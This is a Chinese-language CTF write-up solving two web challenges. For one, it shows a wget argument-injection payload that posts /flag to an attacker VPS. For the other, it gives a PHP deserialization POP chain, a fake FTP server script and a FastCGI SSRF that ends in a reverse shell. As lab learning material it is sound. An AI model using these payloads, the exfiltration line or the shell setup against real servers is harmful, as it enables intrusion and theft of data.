前言
今天白天打深育杯,人被打傻了。Web方向的题目是越来越离谱了,到最后比赛结束都只有3道Web题有人解出来。晚上没事闲的打开BUU一看,上次陇原战疫的题目没有下线,正好回去看看,当初因为vps出了一些情况被腾讯云的工作人员拿去修了,结果到了晚上才还给我,于是我就从这场比赛断开连接了。
正文
这里只复现两道题,剩下的java题目因为当前对java方向的安全漏洞利用还很生疏就先不去看了,等以后学完Java再回来看吧。
1.CheckIN
这道题属于是白给题目,不愧是签到题,很久没有见到这么友善的签到题了。
打开题目拿到源码,下面给出关键性的代码截图
结合上面两张图中的代码段,我们很容易就可以分析出这道题有一个/wget目录,而且这个wget目录可以通过传入参数进行wget的命令执行。
基于此,我们构造如下的payload
/wget?argv=2&argv=--post-file&argv=/flag&argv=http://vps:port/
第一个argv随便填,因为这个函数是从第二个参数开始获取的。
然后在vps上面架起一个nc
传入参数后
2.eaaasyphp
题目拿到后直接给了源码
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public $filename;
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public $username;
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public $hh;
public $str4;
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
原题中获取参数的代码我给忘了但是问题不大关键就是用这些代码进行反序列化链的构造。我们第一个想到的就是通过hint类中的wakeup函数来调用phpinfo先看一下。但是有一点,我在做题的时候通过改变序列化后变量的个数来实现wakeup绕过在这里是不行的(这也是以前CTF中最常用的bypass),应该是新版本的修复导致的。
(以前的做法)
O:4:"Hint":0:{}phpinfo()//将其中的0改成大于0的数字,以达到绕过的目的。
但是在这道题的条件下并不能成功。所以我打算利用Bypass中的str4进行利用
利用代码如下
$x=new Esle();
$y=new Bypass();
$y->hh=$x;
$y->str4="phpinfo";
$z = serialize($y);
echo urlencode($z);
unserialize($z);
我们直接传进去就看到了phpinfo
我们看到了一个醒目的东西FastcGI,这让我们联想到ssrf,而且这道题有file_put_content(),我们正好利用它来实现ssrf从而getshell。
首先我们要在vps上起一个假的ftp,这里的ftp我们只会利用它的被动模式。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 233))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
在vps上先启动
然后我们利用gopherus生成payload
上面这个paload就是我们需要传入的data
接下来我们就是构造一个可以触发file_put_content()函数的pop链
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public $filename;
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public $username;
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public $hh;
public $str4;
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
$x=new Esle();
$y=new Bypass();
$y->hh=$x;
$m=new Welcome();
$d=new Bunny();
$d->filename="ftp://vps:233/111";
$m->username= $d;
$y->str4=$m;
$z = serialize($y);
echo urlencode($z);
unserialize($z);
?>
用这个就能生成我们的pop链
最后在vps上面再起一个监听端口(用nc),端口要与上面在gopherus中输入的端口号一致。
然后我们传入code=[pop]&data=[payload]
成功拿到shell,然后直接cat /flag就行了。
后记
其实比赛中的这两道题都是有机会做出来的,但是奈何当时vps中病毒了。哎,无语。其实关于ssrf我是打算放到ssti之后再细学的,这道题目也算是让我提前预习了。而且官方wp中提出的关于wakeup的绕过方法也很有趣,将类的type换成C就可以绕过了,长知识了长知识了。